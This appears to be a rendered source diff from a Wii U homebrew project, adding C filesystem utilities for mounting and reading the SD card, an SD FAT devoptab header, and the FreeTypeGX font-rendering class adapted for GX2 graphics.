|
if(!mountSrc)
|
||||||
|
return -3;
|
||||||
|
|
||||||
|
char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE);
|
||||||
|
if(!mountPath) {
|
||||||
|
free(mountSrc);
|
||||||
|
return -4;
|
||||||
|
}
|
||||||
|
|
||||||
|
memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE);
|
||||||
|
memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE);
|
||||||
|
|
||||||
|
// Mount sdcard
|
||||||
|
if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0)
|
||||||
|
{
|
||||||
|
result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
|
||||||
|
if((result == 0) && mount_path) {
|
||||||
|
*mount_path = (char*)malloc(strlen(mountPath) + 1);
|
||||||
|
if(*mount_path)
|
||||||
|
strcpy(*mount_path, mountPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(mountPath);
|
||||||
|
free(mountSrc);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int UmountFS(void *pClient, void *pCmd, const char *mountPath)
|
||||||
|
{
|
||||||
|
int result = -1;
|
||||||
|
result = FSUnmount(pClient, pCmd, mountPath, -1);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size)
|
||||||
|
{
|
||||||
|
//! always initialze input
|
||||||
|
*inbuffer = NULL;
|
||||||
|
if(size)
|
||||||
|
*size = 0;
|
||||||
|
|
||||||
|
int iFd = open(filepath, O_RDONLY);
|
||||||
|
if (iFd < 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
u32 filesize = lseek(iFd, 0, SEEK_END);
|
||||||
|
lseek(iFd, 0, SEEK_SET);
|
||||||
|
|
||||||
|
u8 *buffer = (u8 *) malloc(filesize);
|
||||||
|
if (buffer == NULL)
|
||||||
|
{
|
||||||
|
close(iFd);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
u32 blocksize = 0x4000;
|
||||||
|
u32 done = 0;
|
||||||
|
int readBytes = 0;
|
||||||
|
|
||||||
|
while(done < filesize)
|
||||||
|
{
|
||||||
|
if(done + blocksize > filesize) {
|
||||||
|
blocksize = filesize - done;
|
||||||
|
}
|
||||||
|
readBytes = read(iFd, buffer + done, blocksize);
|
||||||
|
if(readBytes <= 0)
|
||||||
|
break;
|
||||||
|
done += readBytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(iFd);
|
||||||
|
|
||||||
|
if (done != filesize)
|
||||||
|
{
|
||||||
|
free(buffer);
|
||||||
|
return -3;
|
||||||
|
}
|
||||||
|
|
||||||
|
*inbuffer = buffer;
|
||||||
|
|
||||||
|
//! sign is optional input
|
||||||
|
if(size)
|
||||||
|
*size = filesize;
|
||||||
|
|
||||||
|
return filesize;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CheckFile(const char * filepath)
|
||||||
|
{
|
||||||
|
if(!filepath)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
struct stat filestat;
|
||||||
|
|
||||||
|
char dirnoslash[strlen(filepath)+2];
|
||||||
|
snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath);
|
||||||
|
|
||||||
|
while(dirnoslash[strlen(dirnoslash)-1] == '/')
|
||||||
|
dirnoslash[strlen(dirnoslash)-1] = '\0';
|
||||||
|
|
||||||
|
char * notRoot = strrchr(dirnoslash, '/');
|
||||||
|
if(!notRoot)
|
||||||
|
{
|
||||||
|
strcat(dirnoslash, "/");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (stat(dirnoslash, &filestat) == 0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CreateSubfolder(const char * fullpath)
|
||||||
|
{
|
||||||
|
if(!fullpath)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
int result = 0;
|
||||||
|
|
||||||
|
char dirnoslash[strlen(fullpath)+1];
|
||||||
|
strcpy(dirnoslash, fullpath);
|
||||||
|
|
||||||
|
int pos = strlen(dirnoslash)-1;
|
||||||
|
while(dirnoslash[pos] == '/')
|
||||||
|
{
|
||||||
|
dirnoslash[pos] = '\0';
|
||||||
|
pos--;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(CheckFile(dirnoslash))
|
||||||
|
{
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
char parentpath[strlen(dirnoslash)+2];
|
||||||
|
strcpy(parentpath, dirnoslash);
|
||||||
|
char * ptr = strrchr(parentpath, '/');
|
||||||
|
|
||||||
|
if(!ptr)
|
||||||
|
{
|
||||||
|
//!Device root directory (must be with '/')
|
||||||
|
strcat(parentpath, "/");
|
||||||
|
struct stat filestat;
|
||||||
|
if (stat(parentpath, &filestat) == 0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ptr++;
|
||||||
|
ptr[0] = '\0';
|
||||||
|
|
||||||
|
result = CreateSubfolder(parentpath);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!result)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if (mkdir(dirnoslash, 0777) == -1)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
23
src/fs/fs_utils.h
Normal file
23
src/fs/fs_utils.h
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
#ifndef __FS_UTILS_H_
|
||||||
|
#define __FS_UTILS_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
|
int MountFS(void *pClient, void *pCmd, char **mount_path);
|
||||||
|
int UmountFS(void *pClient, void *pCmd, const char *mountPath);
|
||||||
|
|
||||||
|
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size);
|
||||||
|
|
||||||
|
//! todo: C++ class
|
||||||
|
int CreateSubfolder(const char * fullpath);
|
||||||
|
int CheckFile(const char * filepath);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __FS_UTILS_H_
|
1019
src/fs/sd_fat_devoptab.c
Normal file
1019
src/fs/sd_fat_devoptab.c
Normal file
File diff suppressed because it is too large
Load Diff
38
src/fs/sd_fat_devoptab.h
Normal file
38
src/fs/sd_fat_devoptab.h
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
/***************************************************************************
|
||||||
|
* Copyright (C) 2015
|
||||||
|
* by Dimok
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
***************************************************************************/
|
||||||
|
#ifndef __SD_FAT_DEVOPTAB_H_
|
||||||
|
#define __SD_FAT_DEVOPTAB_H_
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int mount_sd_fat(const char *path);
|
||||||
|
int unmount_sd_fat(const char *path);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // __SD_FAT_DEVOPTAB_H_
|
608
src/gui/FreeTypeGX.cpp
Normal file
608
src/gui/FreeTypeGX.cpp
Normal file
@ -0,0 +1,608 @@
|
|||||||
|
/*
|
||||||
|
* FreeTypeGX is a wrapper class for libFreeType which renders a compiled
|
||||||
|
* FreeType parsable font into a GX texture for Wii homebrew development.
|
||||||
|
* Copyright (C) 2008 Armin Tamzarian
|
||||||
|
* Modified by Dimok, 2015 for WiiU GX2
|
||||||
|
*
|
||||||
|
* This file is part of FreeTypeGX.
|
||||||
|
*
|
||||||
|
* FreeTypeGX is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU Lesser General Public License as published
|
||||||
|
* by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* FreeTypeGX is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU Lesser General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
* along with FreeTypeGX. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "FreeTypeGX.h"
|
||||||
|
#include "video/CVideo.h"
|
||||||
|
#include "video/shaders/Texture2DShader.h"
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
#define ALIGN4(x) (((x) + 3) & ~3)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Default constructor for the FreeTypeGX class for WiiXplorer.
|
||||||
|
*/
|
||||||
|
FreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace)
|
||||||
|
{
|
||||||
|
int faceIndex = 0;
|
||||||
|
ftPointSize = 0;
|
||||||
|
GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_CLAMP_BORDER, GX2_TEX_XY_FILTER_BILINEAR);
|
||||||
|
|
||||||
|
FT_Init_FreeType(&ftLibrary);
|
||||||
|
if(lastFace)
|
||||||
|
{
|
||||||
|
FT_New_Memory_Face(ftLibrary, (FT_Byte *)fontBuffer, bufferSize, -1, &ftFace);
|
||||||
|
faceIndex = ftFace->num_faces - 1; // Use the last face
|
||||||
|
FT_Done_Face(ftFace);
|
||||||
|
ftFace = NULL;
|
||||||
|
}
|
||||||
|
FT_New_Memory_Face(ftLibrary, (FT_Byte *) fontBuffer, bufferSize, faceIndex, &ftFace);
|
||||||
|
|
||||||
|
ftKerningEnabled = FT_HAS_KERNING(ftFace);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Default destructor for the FreeTypeGX class.
|
||||||
|
*/
|
||||||
|
FreeTypeGX::~FreeTypeGX()
|
||||||
|
{
|
||||||
|
unloadFont();
|
||||||
|
FT_Done_Face(ftFace);
|
||||||
|
FT_Done_FreeType(ftLibrary);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Convert a short char string to a wide char string.
|
||||||
|
*
|
||||||
|
* This routine converts a supplied short character string into a wide character string.
|
||||||
|
* Note that it is the user's responsibility to clear the returned buffer once it is no longer needed.
|
||||||
|
*
|
||||||
|
* @param strChar Character string to be converted.
|
||||||
|
* @return Wide character representation of supplied character string.
|
||||||
|
*/
|
||||||
|
|
||||||
|
wchar_t* FreeTypeGX::charToWideChar(const char* strChar)
|
||||||
|
{
|
||||||
|
if (!strChar) return NULL;
|
||||||
|
|
||||||
|
wchar_t *strWChar = new (std::nothrow) wchar_t[strlen(strChar) + 1];
|
||||||
|
if (!strWChar) return NULL;
|
||||||
|
|
||||||
|
int bt = mbstowcs(strWChar, strChar, strlen(strChar));
|
||||||
|
if (bt > 0)
|
||||||
|
{
|
||||||
|
strWChar[bt] = 0;
|
||||||
|
return strWChar;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t *tempDest = strWChar;
|
||||||
|
while ((*tempDest++ = *strChar++))
|
||||||
|
;
|
||||||
|
|
||||||
|
return strWChar;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *FreeTypeGX::wideCharToUTF8(const wchar_t* strChar)
|
||||||
|
{
|
||||||
|
if(!strChar) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t len = 0;
|
||||||
|
wchar_t wc;
|
||||||
|
|
||||||
|
for (size_t i = 0; strChar[i]; ++i)
|
||||||
|
{
|
||||||
|
wc = strChar[i];
|
||||||
|
if (wc < 0x80)
|
||||||
|
++len;
|
||||||
|
else if (wc < 0x800)
|
||||||
|
len += 2;
|
||||||
|
else if (wc < 0x10000)
|
||||||
|
len += 3;
|
||||||
|
else
|
||||||
|
len += 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *pOut = new (std::nothrow) char[len];
|
||||||
|
if(!pOut)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
size_t n = 0;
|
||||||
|
|
||||||
|
for (size_t i = 0; strChar[i]; ++i)
|
||||||
|
{
|
||||||
|
wc = strChar[i];
|
||||||
|
if (wc < 0x80)
|
||||||
|
pOut[n++] = (char)wc;
|
||||||
|
else if (wc < 0x800)
|
||||||
|
{
|
||||||
|
pOut[n++] = (char)((wc >> 6) | 0xC0);
|
||||||
|
pOut[n++] = (char)((wc & 0x3F) | 0x80);
|
||||||
|
}
|
||||||
|
else if (wc < 0x10000)
|
||||||
|
{
|
||||||
|
pOut[n++] = (char)((wc >> 12) | 0xE0);
|
||||||
|
pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80);
|
||||||
|
pOut[n++] = (char)((wc & 0x3F) | 0x80);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
pOut[n++] = (char)(((wc >> 18) & 0x07) | 0xF0);
|
||||||
|
pOut[n++] = (char)(((wc >> 12) & 0x3F) | 0x80);
|
||||||
|
pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80);
|
||||||
|
pOut[n++] = (char)((wc & 0x3F) | 0x80);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return pOut;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Clears all loaded font glyph data.
|
||||||
|
*
|
||||||
|
* This routine clears all members of the font map structure and frees all allocated memory back to the system.
|
||||||
|
*/
|
||||||
|
void FreeTypeGX::unloadFont()
|
||||||
|
{
|
||||||
|
map<int16_t, ftGX2Data >::iterator itr;
|
||||||
|
map<wchar_t, ftgxCharData>::iterator itr2;
|
||||||
|
|
||||||
|
for (itr = fontData.begin(); itr != fontData.end(); itr++)
|
||||||
|
{
|
||||||
|
for (itr2 = itr->second.ftgxCharMap.begin(); itr2 != itr->second.ftgxCharMap.end(); itr2++)
|
||||||
|
{
|
||||||
|
if(itr2->second.texture)
|
||||||
|
{
|
||||||
|
if(itr2->second.texture->surface.image_data)
|
||||||
|
free(itr2->second.texture->surface.image_data);
|
||||||
|
|
||||||
|
delete itr2->second.texture;
|
||||||
|
itr2->second.texture = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fontData.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Caches the given font glyph in the instance font texture buffer.
|
||||||
|
*
|
||||||
|
* This routine renders and stores the requested glyph's bitmap and relevant information into its own quickly addressible
|
||||||
|
* structure within an instance-specific map.
|
||||||
|
*
|
||||||
|
* @param charCode The requested glyph's character code.
|
||||||
|
* @return A pointer to the allocated font structure.
|
||||||
|
*/
|
||||||
|
ftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize)
|
||||||
|
{
|
||||||
|
map<int16_t, ftGX2Data>::iterator itr = fontData.find(pixelSize);
|
||||||
|
if (itr != fontData.end())
|
||||||
|
{
|
||||||
|
map<wchar_t, ftgxCharData>::iterator itr2 = itr->second.ftgxCharMap.find(charCode);
|
||||||
|
if (itr2 != itr->second.ftgxCharMap.end())
|
||||||
|
{
|
||||||
|
return &itr2->second;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//!Cache ascender and decender as well
|
||||||
|
ftGX2Data *ftData = &fontData[pixelSize];
|
||||||
|
|
||||||
|
FT_UInt gIndex;
|
||||||
|
uint16_t textureWidth = 0, textureHeight = 0;
|
||||||
|
if (ftPointSize != pixelSize)
|
||||||
|
{
|
||||||
|
ftPointSize = pixelSize;
|
||||||
|
FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize);
|
||||||
|
ftData->ftgxAlign.ascender = (int16_t) ftFace->size->metrics.ascender >> 6;
|
||||||
|
ftData->ftgxAlign.descender = (int16_t) ftFace->size->metrics.descender >> 6;
|
||||||
|
ftData->ftgxAlign.max = 0;
|
||||||
|
ftData->ftgxAlign.min = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
gIndex = FT_Get_Char_Index(ftFace, (FT_ULong) charCode);
|
||||||
|
if (gIndex != 0 && FT_Load_Glyph(ftFace, gIndex, FT_LOAD_DEFAULT | FT_LOAD_RENDER) == 0)
|
||||||
|
{
|
||||||
|
if (ftFace->glyph->format == FT_GLYPH_FORMAT_BITMAP)
|
||||||
|
{
|
||||||
|
FT_Bitmap *glyphBitmap = &ftFace->glyph->bitmap;
|
||||||
|
|
||||||
|
textureWidth = ALIGN4(glyphBitmap->width);
|
||||||
|
textureHeight = ALIGN4(glyphBitmap->rows);
|
||||||
|
if(textureWidth == 0)
|
||||||
|
textureWidth = 4;
|
||||||
|
if(textureHeight == 0)
|
||||||
|
textureHeight = 4;
|
||||||
|
|
||||||
|
ftgxCharData *charData = &ftData->ftgxCharMap[charCode];
|
||||||
|
charData->renderOffsetX = (int16_t) ftFace->glyph->bitmap_left;
|
||||||
|
charData->glyphAdvanceX = (uint16_t) (ftFace->glyph->advance.x >> 6);
|
||||||
|
charData->glyphAdvanceY = (uint16_t) (ftFace->glyph->advance.y >> 6);
|
||||||
|
charData->glyphIndex = (uint32_t) gIndex;
|
||||||
|
charData->renderOffsetY = (int16_t) ftFace->glyph->bitmap_top;
|
||||||
|
charData->renderOffsetMax = (int16_t) ftFace->glyph->bitmap_top;
|
||||||
|
charData->renderOffsetMin = (int16_t) glyphBitmap->rows - ftFace->glyph->bitmap_top;
|
||||||
|
|
||||||
|
//! Initialize texture
|
||||||
|
charData->texture = new GX2Texture;
|
||||||
|
GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED);
|
||||||
|
|
||||||
|
loadGlyphData(glyphBitmap, charData);
|
||||||
|
|
||||||
|
return charData;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Locates each character in this wrapper's configured font face and proccess them.
|
||||||
|
*
|
||||||
|
* This routine locates each character in the configured font face and renders the glyph's bitmap.
|
||||||
|
* Each bitmap and relevant information is loaded into its own quickly addressible structure within an instance-specific map.
|
||||||
|
*/
|
||||||
|
uint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize)
|
||||||
|
{
|
||||||
|
uint32_t i = 0;
|
||||||
|
FT_UInt gIndex;
|
||||||
|
|
||||||
|
FT_ULong charCode = FT_Get_First_Char(ftFace, &gIndex);
|
||||||
|
while (gIndex != 0)
|
||||||
|
{
|
||||||
|
if (cacheGlyphData(charCode, pixelSize) != NULL) ++i;
|
||||||
|
charCode = FT_Get_Next_Char(ftFace, charCode, &gIndex);
|
||||||
|
}
|
||||||
|
return (uint16_t) (i);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Loads the rendered bitmap into the relevant structure's data buffer.
|
||||||
|
*
|
||||||
|
* This routine does a simple byte-wise copy of the glyph's rendered 8-bit grayscale bitmap into the structure's buffer.
|
||||||
|
* Each byte is converted from the bitmap's intensity value into the a uint32_t RGBA value.
|
||||||
|
*
|
||||||
|
* @param bmp A pointer to the most recently rendered glyph's bitmap.
|
||||||
|
* @param charData A pointer to an allocated ftgxCharData structure whose data represent that of the last rendered glyph.
|
||||||
|
*/
|
||||||
|
|
||||||
|
void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData)
|
||||||
|
{
|
||||||
|
charData->texture->surface.image_data = (uint8_t *) memalign(charData->texture->surface.align, charData->texture->surface.image_size);
|
||||||
|
if(!charData->texture->surface.image_data)
|
||||||
|
return;
|
||||||
|
|
||||||
|
memset(charData->texture->surface.image_data, 0x00, charData->texture->surface.image_size);
|
||||||
|
|
||||||
|
uint8_t *src = (uint8_t *)bmp->buffer;
|
||||||
|
uint16_t *dst = (uint16_t *)charData->texture->surface.image_data;
|
||||||
|
int32_t x, y;
|
||||||
|
|
||||||
|
for(y = 0; y < bmp->rows; y++)
|
||||||
|
{
|
||||||
|
for(x = 0; x < bmp->width; x++)
|
||||||
|
{
|
||||||
|
uint8_t intensity = src[y * bmp->width + x] >> 3;
|
||||||
|
dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, charData->texture->surface.image_data, charData->texture->surface.image_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determines the x offset of the rendered string.
|
||||||
|
*
|
||||||
|
* This routine calculates the x offset of the rendered string based off of a supplied positional format parameter.
|
||||||
|
*
|
||||||
|
* @param width Current pixel width of the string.
|
||||||
|
* @param format Positional format of the string.
|
||||||
|
*/
|
||||||
|
int16_t FreeTypeGX::getStyleOffsetWidth(uint16_t width, uint16_t format)
|
||||||
|
{
|
||||||
|
if (format & FTGX_JUSTIFY_LEFT)
|
||||||
|
return 0;
|
||||||
|
else if (format & FTGX_JUSTIFY_CENTER)
|
||||||
|
return -(width >> 1);
|
||||||
|
else if (format & FTGX_JUSTIFY_RIGHT) return -width;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determines the y offset of the rendered string.
|
||||||
|
*
|
||||||
|
* This routine calculates the y offset of the rendered string based off of a supplied positional format parameter.
|
||||||
|
*
|
||||||
|
* @param offset Current pixel offset data of the string.
|
||||||
|
* @param format Positional format of the string.
|
||||||
|
*/
|
||||||
|
int16_t FreeTypeGX::getStyleOffsetHeight(int16_t format, uint16_t pixelSize)
|
||||||
|
{
|
||||||
|
std::map<int16_t, ftGX2Data>::iterator itr = fontData.find(pixelSize);
|
||||||
|
if (itr == fontData.end()) return 0;
|
||||||
|
|
||||||
|
switch (format & FTGX_ALIGN_MASK)
|
||||||
|
{
|
||||||
|
case FTGX_ALIGN_TOP:
|
||||||
|
return itr->second.ftgxAlign.descender;
|
||||||
|
|
||||||
|
case FTGX_ALIGN_MIDDLE:
|
||||||
|
default:
|
||||||
|
return (itr->second.ftgxAlign.ascender + itr->second.ftgxAlign.descender + 1) >> 1;
|
||||||
|
|
||||||
|
case FTGX_ALIGN_BOTTOM:
|
||||||
|
return itr->second.ftgxAlign.ascender;
|
||||||
|
|
||||||
|
case FTGX_ALIGN_BASELINE:
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
case FTGX_ALIGN_GLYPH_TOP:
|
||||||
|
return itr->second.ftgxAlign.max;
|
||||||
|
|
||||||
|
case FTGX_ALIGN_GLYPH_MIDDLE:
|
||||||
|
return (itr->second.ftgxAlign.max + itr->second.ftgxAlign.min + 1) >> 1;
|
||||||
|
|
||||||
|
case FTGX_ALIGN_GLYPH_BOTTOM:
|
||||||
|
return itr->second.ftgxAlign.min;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Processes the supplied text string and prints the results at the specified coordinates.
|
||||||
|
*
|
||||||
|
* This routine processes each character of the supplied text string, loads the relevant preprocessed bitmap buffer,
|
||||||
|
* a texture from said buffer, and loads the resultant texture into the EFB.
|
||||||
|
*
|
||||||
|
* @param x Screen X coordinate at which to output the text.
|
||||||
|
* @param y Screen Y coordinate at which to output the text. Note that this value corresponds to the text string origin and not the top or bottom of the glyphs.
|
||||||
|
* @param text NULL terminated string to output.
|
||||||
|
* @param color Optional color to apply to the text characters. If not specified default value is ftgxWhite: (GXColor){0xff, 0xff, 0xff, 0xff}
|
||||||
|
* @param textStyle Flags which specify any styling which should be applied to the rendered string.
|
||||||
|
* @return The number of characters printed.
|
||||||
|
*/
|
||||||
|
|
||||||
|
uint16_t FreeTypeGX::drawText(CVideo *video, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, uint16_t textStyle, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor)
|
||||||
|
{
|
||||||
|
if (!text)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
uint16_t fullTextWidth = (textWidth > 0) ? textWidth : getWidth(text, pixelSize);
|
||||||
|
uint16_t x_pos = x, printed = 0;
|
||||||
|
uint16_t x_offset = 0, y_offset = 0;
|
||||||
|
FT_Vector pairDelta;
|
||||||
|
|
||||||
|
if (textStyle & FTGX_JUSTIFY_MASK)
|
||||||
|
{
|
||||||
|
x_offset = getStyleOffsetWidth(fullTextWidth, textStyle);
|
||||||
|
}
|
||||||
|
if (textStyle & FTGX_ALIGN_MASK)
|
||||||
|
{
|
||||||
|
y_offset = getStyleOffsetHeight(textStyle, pixelSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
while (text[i])
|
||||||
|
{
|
||||||
|
ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);
|
||||||
|
|
||||||
|
if (glyphData != NULL)
|
||||||
|
{
|
||||||
|
if (ftKerningEnabled && i > 0)
|
||||||
|
{
|
||||||
|
FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);
|
||||||
|
x_pos += (pairDelta.x >> 6);
|
||||||
|
}
|
||||||
|
|
||||||
|
copyTextureToFramebuffer(video, glyphData->texture, x_pos + glyphData->renderOffsetX + x_offset, y + glyphData->renderOffsetY - y_offset, z, color, textBlur, colorBlurIntensity, blurColor);
|
||||||
|
|
||||||
|
x_pos += glyphData->glyphAdvanceX;
|
||||||
|
++printed;
|
||||||
|
}
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
|
||||||
|
return printed;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Processes the supplied string and return the width of the string in pixels.
|
||||||
|
*
|
||||||
|
* This routine processes each character of the supplied text string and calculates the width of the entire string.
|
||||||
|
* Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function.
|
||||||
|
*
|
||||||
|
* @param text NULL terminated string to calculate.
|
||||||
|
* @return The width of the text string in pixels.
|
||||||
|
*/
|
||||||
|
uint16_t FreeTypeGX::getWidth(const wchar_t *text, int16_t pixelSize)
|
||||||
|
{
|
||||||
|
if (!text) return 0;
|
||||||
|
|
||||||
|
uint16_t strWidth = 0;
|
||||||
|
FT_Vector pairDelta;
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while (text[i])
|
||||||
|
{
|
||||||
|
ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);
|
||||||
|
|
||||||
|
if (glyphData != NULL)
|
||||||
|
{
|
||||||
|
if (ftKerningEnabled && (i > 0))
|
||||||
|
{
|
||||||
|
FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);
|
||||||
|
strWidth += pairDelta.x >> 6;
|
||||||
|
}
|
||||||
|
|
||||||
|
strWidth += glyphData->glyphAdvanceX;
|
||||||
|
}
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
return strWidth;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Single char width
|
||||||
|
*/
|
||||||
|
uint16_t FreeTypeGX::getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar)
|
||||||
|
{
|
||||||
|
uint16_t strWidth = 0;
|
||||||
|
ftgxCharData * glyphData = cacheGlyphData(wChar, pixelSize);
|
||||||
|
|
||||||
|
if (glyphData != NULL)
|
||||||
|
{
|
||||||
|
if (ftKerningEnabled && prevChar != 0x0000)
|
||||||
|
{
|
||||||
|
FT_Vector pairDelta;
|
||||||
|
FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[prevChar].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);
|
||||||
|
strWidth += pairDelta.x >> 6;
|
||||||
|
}
|
||||||
|
strWidth += glyphData->glyphAdvanceX;
|
||||||
|
}
|
||||||
|
|
||||||
|
return strWidth;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Processes the supplied string and return the height of the string in pixels.
|
||||||
|
*
|
||||||
|
* This routine processes each character of the supplied text string and calculates the height of the entire string.
|
||||||
|
* Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function.
|
||||||
|
*
|
||||||
|
* @param text NULL terminated string to calculate.
|
||||||
|
* @return The height of the text string in pixels.
|
||||||
|
*/
|
||||||
|
